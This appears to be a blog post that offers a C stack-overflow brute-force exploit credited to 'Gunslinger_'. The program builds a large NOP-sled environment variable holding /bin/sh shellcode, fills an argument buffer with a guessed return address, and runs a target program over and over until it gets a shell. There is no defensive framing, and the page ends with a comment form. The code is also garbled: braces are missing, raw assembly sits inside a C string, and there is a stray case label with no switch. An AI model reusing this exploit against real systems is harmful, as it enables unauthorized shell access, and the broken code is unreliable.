break a time, with break the c0de…


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

	You can use debugger to get esp address, that can make program will be defeated more faster !
	RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
#define RET 0xbffffff4  // you may change this
#define NOP 0x90	

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000

char shellcode[] =
	; standard /bin//sh
	global _start


	xor	eax,eax
	push	byte	11
	pop	eax
	push	ebx
	push	0x68732f2f
	push	0x6e69622f
	mov	ebx,esp
	xor	ecx,ecx
	xor	edx,edx
	push	ebx
	int	0x80

int main(int argc, char **argv)
	char *application = NULL;
	char *buffer = NULL;
	char env_var[ENV_LEN];
	char *env[2] = { env_var, NULL};
	int *p, num, ret, pid, payload_size;

	if (argc < 3)
		printf("\nStack Brute Force");
		printf("\nProgrammer : Gunslinger_");
		printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
	printf("[*] Using return address 0x%x \n", RET);
	printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
	printf("[*] Shellcode size %d bytes\n", strlen(shellcode));
	application = strdup(argv[1]);
	payload_size = atoi(argv[2]);
	buffer = (char*) malloc(payload_size);

	memset (env_var, NOP, ENV_LEN);

	memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));

	p = (int*) buffer;

	for (num = 0; num < payload_size; num += sizeof(int), p++)
		*p = RET;
	do {
		case 0:
			execle (application, application, buffer, NULL, env);
			waitpid (pid, &ret, 0);
while (ret);

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s